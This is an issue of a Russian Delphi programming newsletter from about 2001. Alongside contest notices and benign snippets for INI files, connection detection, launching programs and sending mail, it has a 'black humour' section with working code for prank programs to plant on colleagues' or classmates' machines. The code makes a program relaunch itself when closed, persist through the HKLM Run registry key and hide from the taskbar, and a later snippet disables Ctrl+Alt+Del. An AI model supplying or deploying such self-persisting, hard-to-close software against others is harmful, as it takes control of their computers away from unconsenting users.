Отправляет email-рассылки с помощью сервиса Sendsay
  Все выпуски  

СообЧА. Программирование на Delphi


Служба Рассылок Subscribe.Ru проекта Citycat.Ru

  Мир Delphi  Подписчиков: 3180(не считали) 
   
.::::: СообЧа - Программирование на Delphi :::::.

10й выпуск с момента воскрешения рассылки

  ї 2000 - 2001COOLer  Дизайн: Yoghurt 
   

 

Оглавление
  В выпуске  Рассылка СообЧА 
    
 
Рассылки Subscribe.Ru
СообЧа (СООБщество ЧАйников). Обмен опытом, вопросы, ответы.

 Назад к оглавлению  
  
  Конкурс 
 
  
  • Участвуйте в конкурсе "Статья месяца" и вы выиграете книгу по Delphi от магазина ОЗОН. В конце каждого месяца Вами будет выбран лучший автор, который и получит книгу. Присылайте ваши статьи на  pixel@novgorod.net .

 

  • Хотите поучаствовать в нашем проекте, вы умеете работать с OpenGL или DX? Присоединяйтесь вместе мы напишем классную RPG ... подробности по адресу  pixel@novgorod.net или http://pixelsoft.narod.ru раздел Проект... Желательны(Хотя не обязательны , по ходу сами все поймете) знания Borland C++ Builder или Delphi в сфере графики(или просто кодеры).Все абсолютно свободно freewareно и бесплатно. ПОЛНЫЙ ДОСТУП К НАШИМ ИСХОДНИКАМ.
  • Новый Опрос:
  • Нравится ли вам наша рассылка?

  • Да

    Нет

    Не успел оценить

     Назад к оглавлению  
      
      Выбор лучшего 
     
      
    ув. Подписчики. пожалуйста оцените труд данных авторов отдав свой голос за того, кого вы считаете достойным. 31 июля по итогам голосования лучшему автору будет подарена книга от магазина "ОЗОН". Если вы хотите увидить своё имя среди авторов - то прочитайте условия конкурса Выбери лучшего
    Pixel
    PILOT
    Art
     Назад к оглавлению  
      
     Серьезное и полезное 
     
      

    Наверное меня загрызла совесть, или читатели, но я решил привнести некоторые серьезные советы к нашему украшательно развлекательному тону....

    Все это я надергал из кучи хлама (~300 мб на моем винте). 
    Например вот это:

    Использование INI файлов

    uses inifiles;
    ...

    var
      ini: TIniFile;
    ....
    procedure TForm1.Button1Click(Sender: TObject);    // Read values from INI file
    var
      ergebnis:string;
    begin
      ergebnis:=ini.ReadString('Section','name','');
      MessageDlg('Value of Section:  ' + ergebnis, mtInformation, [mbOK], 0);
    end;

    procedure TForm1.Button2Click(Sender: TObject); //Write values to INI file
    begin
      ini.WriteString('Section','name','value');
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin
      ini:= TIniFile.Create('c:\test.ini');
      //Create INI Object and open or create file test.ini
    end;

    Код проверен(!) на дельфи 5

     

    Узнать тип соединения(прокси\локалка\не интернет)

    uses wininet;

    Function ConnectionKind :boolean;
    var
      flags: dword;
    begin
      Result := InternetGetConnectedState(@flags, 0);
      if Result then
      begin
        if (flags and INTERNET_CONNECTION_MODEM) = INTERNET_CONNECTION_MODEM then
        begin
          showmessage('Modem');
        end;
        if (flags and INTERNET_CONNECTION_LAN) = INTERNET_CONNECTION_LAN then
        begin
          showmessage('LAN');
        end;
        if (flags and INTERNET_CONNECTION_PROXY) = INTERNET_CONNECTION_PROXY then
        begin
          showmessage('Proxy');
        end;
        if (flags and INTERNET_CONNECTION_MODEM_BUSY)=INTERNET_CONNECTION_MODEM_BUSY then
        begin
          showmessage('Modem Busy');
        end;
      end;
    end;

    procedure TForm1.Button1Click(Sender: TObject);
    begin
      ConnectionKind;
    end;

    Код у меня работал, но я его использовал частично

     

    Запускать другую программу

    uses shellapi;

    Shellexecute(handle,'open','notepad.exe','',nil,sw_shownormal);

    или

    WinExec('C:\Windows\notepad.exe',SW_Show);

     

    работает 100%

     

    Как посылать мыло

     

    На форму надо положить компонент TNMSMTP из FastNet вкладки.

    procedure TForm1.Button1Click(Sender: TObject);
    begin
      NMSMTP1.Host := 'mail.host.com';у нас это: Mail.ru или ваш сервак

      NMSMTP1.UserID := 'username'; про пароль я незнаю т.к код не юзал попробуйте ввести

    NSMTP1. и подождать, появится подсказка , ищите там чтото типа login,password,userpassword....


      NMSMTP1.Connect;

      NMSMTP1.PostMessage.FromAddress := 'webmaster@swissdelphicenter.ch';
      NMSMTP1.PostMessage.ToAddress.Text := 'user@host.com';
      NMSMTP1.PostMessage.Body.Text := 'This is the message';
      NMSMTP1.PostMessage.Subject := 'Mail subject';
      NMSMTP1.SendMail;
      showmessage('Mail sent !');
    end;

    взято из www.torry.net

     

    Все это очень классно направляет вас к написанию своего браузера\звонилки\менеджера закачек. Лично мне нравится код про тип соединения, на его базе я слепил счетчик времени ,проведенного в сети, и до сих пор его пользую... А если чего не получится, не стесняйтесь, пишите.

    Автор:Pixel( pixel@novgorod.net http://pixelsoft.narod.ru )
    ї COOLer 

     Назад к оглавлению  
      
     Черный юмор-2(шутки негров ,прим. от редакции) 
     
      

    Здравствуйте, дорогие!

    В прошлый раз я рассказал вам, как устроить подлянку с комментарием в "паскалевском" исходнике. Сегодня я дам вам
    несколько полезных советов по написанию "неприятных" программ, страшно портящих жизнь вашим коллегам, одноклассникам или
    просто хорошим людям.
    Совет 1-й. Настойчивость
    Для начала неплохо было бы, если бы ваше милое дитя у никак нельзя было закрыть. Делается это очень просто - в
    обработчик события OnDestroy вашей основной формы добавляется строка: 
    ShellExecute(0, 'open', PChar(Application.ExeName), nil, nil, SW_SHOW),
    а в раздел uses модуля соответствующей формы добавляется модуль ShellAPI.
    При попытке закрыть программу она запускает свою новую копию, а старая благополучно закрывается, и система думает, что
    сделала все, что от нее хотели, при этом новая копия программы естественно продолжает выполняться.
    Совет 2-й. Еще раз настойчивость
    Было бы замечательно, если бы ваша программа запускалась сама при загрузке, и при этом ее нельзя было бы вырубить
    простым удалением из Автозагрузки. Для этого в обработчик события OnDestroy вашей основной формы полезно было бы
    добавить строки:
    with TRegistry.Create do
    try
    RootKey := HKEY_LOCAL_MACHINE;
    OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', False);
    WriteString('shootka', Application.ExeName);
    finally
    Free; 
    end;
    а в раздел uses модуля соответствующей формы добавляется модуль Registry, содержащий класс TRegistry, и Windows,
    содержащий константу HKEY_LOCAL_MACHINE.
    Совет 3-й. Скромность
    Этот совет уже чисто эстетический и рассчитан на гурманов, которым не нравится что их творение светится факелом в
    Панели задач. Убрать свое детище оттуда можно одной нехитрой строчкой:
    ShowWindow(Application.Handle, SW_HIDE);
    которую, правда, вам придется всунуть во все места, где происходит изменение состояния основного окна - начиная от
    TMainForm.OnShow и заканчивая Application.OnMinimize.

    В принципе, основа есть. Остается сделать Formstyle="fsStayOnTop," написать на форме что-нибудь вроде "А у вас молоко
    убежало!", да забабахать программу <не>нужному человеку на рабочий стол. Побольше фантазии и нескучное утро вашей жертве
    обеспечено.

    p.s. Все описанные методы программистского хамства на самом деле вполне безобидны, и их действия с легкостью могут быть
    пресечены более-менее продвинутым пользователем.
    p.p.s. Автор (и редакция) статьи не несет ответственности за повреждение информации и человеческих тел, а также за понижения в
    должности и увольнения, вызванные использованием вышеизложенной информации.

    P.s от редактора, не забудьте продумать , как вы сами из нее будете выходить(тестировать все равно вам...)

    Автор:ART)
    ї COOLer

     Назад к оглавлению  
      
     Интересная функция.... 
     
      

    Запретить/Разрешить Ctrl+Alt+Del

    Для тех, кто не понял скажу, что тут код нажатия двух кнопок.

    procedure TForm1.Button1Click(Sender: TObject);
    var old: boolean;
    begin
      old:=True;
      //Убрать
      SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,@old,0);
    end;
    
    procedure TForm1.Button2Click(Sender: TObject);
    var old:boolean;
    begin
      old:=True;
      //Восстановить
      SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,@old,0);
    end;

    Если это добавить к советам выше получится гремучая смесь. :))

    Ваш "квадратный" Автор ( pixel@novgorod.net http://pixelsoft.narod.ru )
    ї COOLer


    Zaluskiy Anton(COOLer)    - ведущий проекта    "Мир Delphi"



    о3он TopList


    http://subscribe.ru/
    E-mail: ask@subscribe.ru
    Отписаться Рейтингуется SpyLog

    В избранное